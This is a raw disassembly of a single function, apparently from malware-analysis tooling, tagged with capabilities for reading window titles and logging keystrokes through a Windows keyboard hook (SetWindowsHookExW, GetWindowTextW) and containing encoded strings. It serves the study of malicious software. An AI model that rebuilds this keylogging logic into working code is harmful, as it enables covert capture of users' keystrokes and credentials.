Function at 0x46da70
Capabilities:
Get graphical window text
Log keystrokes via application hook

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x581ead
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xa98
push esi
push edi
mov dword [ebp - 0x1c], ecx
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x46df85
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.YUR6NQg0t5FClc
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
call fcn.00430f00
test al, al
jne 0x46daea
push 0xe
push str.YUR6NQg0t5FClc
lea ecx, [ebp - 0x2c]
call fcn.00431230
mov dword [ebp - 4], 1
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x46df8f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.eGdXbUBUCzOSUnWFDIxuCgQ_
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
call fcn.00430f00
test al, al
jne 0x46db31
push 0x18
push str.eGdXbUBUCzOSUnWFDIxuCgQ_
lea ecx, [ebp - 0x28]
call fcn.00431230
mov byte [ebp - 4], 3
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x46df99
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.d3RPBahgEIKgQokGCYE0HA
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.00430f00
test al, al
jne 0x46db75
push 0x18
push str.d3RPBahgEIKgQokGCYE0HA
lea ecx, [ebp - 0x24]
call fcn.00431230
xorps xmm0, xmm0
mov byte [ebp - 4], 5
push 0x80
movups xmmword [ebp - 0x74], xmm0
call fcn.00550cf4
mov ecx, 0x1d
mov dword [ebp - 0x74], eax
mov esi, str.cUJJqYgpgqKBIBEYHMZDUy8sNDAQdUOgcQ9MCoKnU3gyrQAUt3OUBLuZy1OfUy4sbBAVg2c0cVxbmsAhHjY9EDRxgmc0cVvbmsQ3GCUh2FlN4ybAYMpPzQ
mov dword [ebp - 0x64], 0x77
mov edi, eax
mov dword [ebp - 0x60], 0x7f
rep movsd dword es:[edi], dword [esi]
add esp, 4
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [eax + 0x77], 0
push 0
push 0
push 0x46d560
push 0xd
mov byte [ebp - 4], 6
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov esi, dword [ebp - 0x1c]
mov ecx, esi
mov dword [ebp - 0x5c], eax
call fcn.0046e320
mov edi, dword [esi + 4]
mov dword [ebp - 0x20], 0
test edi, edi
je 0x46dc6c
push 0x100
lea eax, [ebp - 0x2a8]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esi + 8]
lea edx, [ebp - 0x14]
push edx
push edi
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
test eax, eax
jne 0x46dc6c
mov edx, dword [esi + 8]
mov eax, 3
mov word [ebp - 0x50], ax
mov dword [ebp - 0x48], 0xc354
movups xmm0, xmmword [ebp - 0x50]
mov eax, dword [edx]
mov ecx, dword [eax + 0x5c]
lea eax, [ebp - 0x18]
push eax
sub esp, 0x10
mov eax, esp
push 0x7533
push edx
movups xmmword [eax], xmm0
call ecx
test eax, eax
jne 0x46dc63
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x20]
push edx
push dword [ebp - 0x18]
mov eax, dword [ecx]
push 2
push ecx
call dword [eax + 0x14]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [ebp - 0x3c]
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowRect]
call fcn.0044df30
movaps xmm1, xmm0
lea ecx, [ebp - 0x3c]
call fcn.0044e070
push dword [ebp - 0x34]
lea eax, [ebp - 0x74]
push dword [ebp - 0x30]
push dword [ebp - 0x3c]
push dword [ebp - 0x38]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042e7e0
lea ecx, [ebp - 0x58]
call fcn.00446a30
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x46dcb6
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xaa8]
push eax
call fcn.0045b7d0
mov ecx, dword [ebp - 0x44]
add esp, 0x18
cmp ecx, 0x10
jb 0x46dcfa
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46dcf0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46dfa3
push ecx
push edx
call fcn.00550d24
add esp, 8
mov esi, dword [esi]
lea eax, [ebp - 0xaa8]
push eax
lea ecx, [ebp - 0x14]
call fcn.0042d470
mov byte [ebp - 4], 7
mov edi, dword [esi + 0x4c]
push 0x20
push ecx
mov esi, esp
mov dword [ebp - 0x18], esi
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004655a0
mov byte [ebp - 4], 6
or edi, 0xffffffff
mov edx, dword [ebp - 0x14]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x46dd52
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x1c]
mov eax, dword [esi]
cmp byte [eax + 0x109], 0
jne 0x46dedc
lea eax, [ebp - 0x50]
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowRect]
call fcn.0044df30
movaps xmm1, xmm0
lea ecx, [ebp - 0x50]
call fcn.0044e070
mov edi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x4c]
cmp edi, dword [ebp - 0x3c]
jne 0x46dda5
cmp edx, dword [ebp - 0x38]
jne 0x46dda5
cmp ecx, dword [ebp - 0x34]
jne 0x46dda5
cmp eax, dword [ebp - 0x30]
je 0x46de79
movups xmm0, xmmword [ebp - 0x50]
push ecx
push eax
push edi
push edx
sub esp, 0x18
lea eax, [ebp - 0x74]
mov ecx, esp
movups xmmword [ebp - 0x3c], xmm0
push eax
call fcn.0042e7e0
lea ecx, [ebp - 0x8c]
call fcn.00446a30
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x46ddd5
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xaa8]
push eax
call fcn.0045b7d0
mov ecx, dword [ebp - 0x78]
add esp, 0x18
cmp ecx, 0x10
jb 0x46de1c
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46de12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46dfa3
push ecx
push edx
call fcn.00550d24
add esp, 8
mov esi, dword [esi]
lea eax, [ebp - 0xaa8]
push eax
lea ecx, [ebp - 0x14]
call fcn.0042d470
mov byte [ebp - 4], 8
mov edi, dword [esi + 0x4c]
push 0x20
push ecx
mov esi, esp
mov dword [ebp - 0x18], esi
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004655a0
mov byte [ebp - 4], 6
or edi, 0xffffffff
mov edx, dword [ebp - 0x14]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x46de74
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x1c]
jmp 0x46de7c
or edi, 0xffffffff
push dword [ebp - 0x20]
mov ecx, esi
call fcn.0046e590
push 1
push 0
push 0
push 0
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jle 0x46deb9
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
mov ecx, esi
call fcn.0046e320
cmp dword [esi + 4], eax
jne 0x46dedc
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi]
cmp byte [eax + 0x109], 0
je 0x46dd64
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x46dee9
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push dword [ebp - 0x5c]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x46df26
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46df1c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46dfa8
push ecx
push edx
call fcn.00550d24
add esp, 8
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x46df40
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x46df5a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x46df72
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
call fcn.00555bff
call fcn.00555bff
int3